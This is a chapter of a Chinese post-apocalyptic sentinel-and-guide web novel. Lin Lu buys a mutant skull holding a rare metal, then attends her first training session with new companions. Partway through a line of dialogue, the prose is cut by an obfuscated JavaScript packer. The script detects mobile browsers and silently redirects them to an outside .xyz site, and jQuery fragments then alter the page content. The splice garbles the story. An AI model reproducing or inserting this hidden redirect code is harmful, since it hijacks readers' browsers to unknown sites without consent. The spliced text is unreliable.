林陆走出大楼，在这之外是另一片天地。人们在并不算宽阔的道路上行走，遇上熟人会停下来聊会天，真是悠闲的日子。
这会儿天已经全黑了，基地内灯光却并不多。酸雨过后有不少对光源敏感的变异生物，如果仅仅是几只尚且还不用担心，但如果数量是几十只就不好说了。她转过头看大楼，兴许这座密不透风的大楼也会倒塌。
林陆漫步在一条小路上，居民住宅，同时也是一条商街。自家种出的食物，或者是从外面捡到的异化生物残骸。摊子大多简陋，不少人坐在地上，随便把东西摆在面前就开始贩卖了。
这种东西居然是能在明面上卖的吗，林陆随手拿起一个像是头骨的东西。
“有眼光啊。”摊主笑了笑，“这是前段时间在西大陆捡到的，应该是獾一类的头骨。”
林陆颠了颠，“这么大吗？”头骨几乎有她手臂长，说实话，她只是知道外面有变异物，但实际还没在外面交锋过，她遇见的大多是已经驯化过的，无论如何凶猛骨子里已经刻着温吞的基因了。
“现在除了人，什么都大，不少动物连习性都改变了。”摊主摇了摇头，忽然感慨一番，“家里老人还在的时候一直讲酸雨前日子，你说他又没过上一天那样的日子，怎么能说的那么向往，和童话故事一样。人还是得往前看的啊，小妹。”
童话？林陆看了看周围，她还以为自己早就在里面了。
“是啊，现在就不错了。”林陆发现头骨有一道裂缝，一块黑色的东西卡在里面，什么东西。
摊主仿佛被激励了，“就是这样，我也是这么想的。”
林陆拿出那张铭牌，“刷卡，我要这个头骨。”
"哎哟，真是有眼光，你刚陪我聊这么好一会儿，我便宜卖你，50信用币。"摊主比了个“六”的手势。
反正也不是她的钱，开到多少都无所谓。
付完钱后林陆举着那个头骨往回走，顺手又买了点红色的小果子，摊主说这个叫天南果，清甜带着点微微酸涩，林陆想着可以回去喂鸟。
回到宿舍，叽叽喳喳的鸟声充满了房间，小七从她肩头上跳下来和好朋鸟玩闹着。林陆把头骨放在桌上，掏一把天南果摆在地上。
“你没吃饭，这些都是你的。”随后她摸了摸小七，“你刚刚吃过了，不要抢它的。”
在外面的铺子里没买到凿子，只能从餐厅里顺了把叉子出来。林陆盘坐在地上，叉子尖朝地用力摩擦着，除去鸟声又有一阵金属打磨的尖锐噪音。
五分钟后，林陆站起来，用劲把叉子插进头骨里。头骨比意想的脆弱，林陆凿了三四下就七零八落掉的满桌子骨头碎片。
那块黑色的不和谐物也掉了出来，林陆举起来对着光照看着，一片长条金属，一指甲宽，两节指节的长度。在灯光的照射下，金属片好像流过一条金线。她弯曲了下金属片，并没有断裂，而是非常有韧性的成了一个小小的圆。随手揉搓了下，那片金属却软了下去。
林陆很眼熟这个东西，在南大陆的时候她曾经见过，也用过。南大陆虽然混乱，但武器却并不先进，和其他几个大陆不一样，他们用冷兵器。这种金属就用作箭头，数量不多，开采又困难，按照其他几个大陆的情况是不可能用于打猎，但是它太好用了。在寒冷的南大陆，这种金属比任何东西都要坚硬，他们叫它秘金。
秘金出现在哪里都合理，但是唯独不能在西大陆，那是个焦热地狱。不过据她所知，最初在南大陆被卖给犬奴基地的时候，有个人就带着秘金去了那里。
真是无聊的人生体验，一直在被买家转来转去，想到这里她倒有些好奇，基因协会开出的价格是多少。不过无论他们付出了多少，都只能让他们打水漂了。
她将秘金插进鞋底里，时隔多年回想起这件事才发现自己居然还有一个在逃的仇家，又多了一个值得活下去的理由，林陆现在心情很好。
手环又收了一条信息，“明日上午八点在2楼集中培训。”
林陆随手关闭，躺倒那张单人床上。从前因为周遭环境和芯片的原因，她很难入睡，即便睡着也只是浅眠，稍有动弹就会清醒过来。现在告诉她这个环境很安全，不会有突如其来的打斗和死生不定的比赛。
小七和肥啾窝在她身侧睡着了，她摸着两只鸟脑袋上的绒毛，感受到的是无边的安宁。
她缓缓合上眼，再睁开眼，是在那片精神图景中。原来还只是一片雪原，现在这里突然出现了一座很小的石头搭建成的小屋。甚至不能说是小屋，没有这样四处漏风的屋子，只能说是一个暂时的休息点。
精神图景中的风雪并不让她感觉到寒冷，她缩进那个小屋里，听着四周呼啸的风声，被困意包围。
早晨，耳边是让人烦躁的敲门声。
“林陆，起床了。”
宋奇的声音在门口响起，林陆猛地掀被子下床，看着陌生的环境才想起来自己已经不在犬奴基地了。
她打开门，宋奇和周与晞站在门口。
“还有一刻钟就要培训了，你怎么还在睡呢？”大概是昨天晚饭时的聊天，宋奇已经没有了最初对她的恐惧，对于他这样一个自来熟，跨过了最初的心防就能熟的好像从小开始就是一条裤子穿的挚友。
林陆晃了晃脑袋，“昨天睡得太晚了。”
“我懂我懂，第一次上培训课，我昨天也没怎么睡。”宋奇挠了挠头，与其说没怎么睡不如说是没睡，早知道就给林陆发消息了。不对，他好像还没加她联系方式。
“我洗漱一下就出来。”
林陆没关门，两人走进她那间房间，看着完全没有一点变化的屋子有些惊叹。
“你昨天就睡的床板吗？”周与晞想起自己房间的床垫子。
林陆嗯了一声，换来了两人的呆滞，流浪为生的孩子居然过得这么惨，两人盘算着之后起码给她买点床上用品。林陆要是知道他们俩想什么，大概只会说，她要真是流浪的就好了。
此时床上飞出一只怒气冲冲的白腹小鸟，正围着宋奇和周与晞，不停想要啄二人。
“我的天，这是你的精神体吗？”宋奇躲着它的鸟嘴。
林陆刚刚洗完脸，看了看镜子里正蹲在她肩膀上的小七。
“是我在林子里捡到的，我就把它带回来养养，桌子上的小果子可以喂它。”林陆走出来，将鸟在空着抓住，放在桌子上，随后把小七从肩头上拿下来，“这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766750|174637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的精神体。”
“这是，猫头鹰？”周与晞摸了摸它的脑袋，小七没动，只是稍微缩了缩脖子，“好乖啊。”
“不知道是什么种类的，叫小七。”林陆把它放回肩头，“走吧，去培训。”
周与晞看出了她想要转移话题，最明显的一点的是她似乎还不知道精神体与一般动物不一样，而且现在外面哪里还有这样长得这么善良的鸟，但她也没真的发问。
好在只要从电梯上下去就能到达2楼，三人也算是在规定时间内到达。第一周的培训以基础课程和身体锻炼为主，宋奇两人小时候就已经学过这些知识，林陆以前的芯片并不关照这些东西，毕竟她上场就能看到。
“312年前的2018年想必大家都清楚发生了什么，一场异化酸雨导致变异物横生，这是产生人类生存危机的最大原因。”老师是一位向导，穿着干练的作战服在台上讲着。
其实酸雨仍旧没有结束，不过到现在为止，只有北大陆会时不时下酸雨，这也是那边几乎什么房子都是向下建的原因。
宋奇显然没有认真听课的天赋，他轻轻戳了戳林陆的手臂，“我和你说，路南星后天就会回来，一手消息，小晞特地去问的。”
看来精神体不在自己身边让他着急得不行，林陆点点头表示自己知道了。
“诶？你怎么不兴奋啊？”宋奇甚至没能从她眼睛里看见那种，突然明媚起来的样子。
兴奋？她谎称路南星是她的恩人，但实际上她可没那个心情。
但她还是点点头，“上课。”
讲台上的想到向导老师立刻就发现他们了，从开始他的精神丝就散布在这件房间里。
“我希望有些学生可以认真听课，每个月我们都会进行考核，如果成绩好就有可能提前结束培训进入战场，但如果成绩不好，那是会取消资格的。”向导老师微微笑着朝两人看去，宋奇急忙撇过脸，向导总是这么恐怖。
林陆则毫无愧疚的同老师对视，他现在正在讲一些变异物种类以及一经发现的变异物的弱点，谁能想到三百年前这些生物还没有变得这么狰狞。她看着这些图片，突然有了一个奇怪的想法，这些图片里居然没有人吗？
虽然命运是不公平的，但天降的酸雨是公平的，每个生物都会淋到，不见得只有动物会变成这副模样。
难道说，其实他们这帮哨兵向导就是经过酸雨之后的变异物吗？
林陆感觉小七在蹭自己的脖子，今天早上它的毛已经开始有要褪去的迹象了，还好体型还没有太大的变化，仍旧能站在肩膀上。
你到底是什么鸟呢？林陆悄悄地拨弄了下它的羽毛。
-密林驻扎地-
“为什么提前回去？”路南星身边站着的向导问他，“这里的事情还不够焦头烂额吗？你回去了，麻烦事只会越来越多。”
因为精神体不在身边，路南星这两天的精神紧绷着，“我有我自己的原因，很快就会回来的。”
“那个动员大会根本不需要你去，新收进来的向导又能有多少，实在不行打个影像就行了。”向导扶着额头，“最近奇怪的事情越来越多，你知道污染者吗？”
路南星苦笑了下。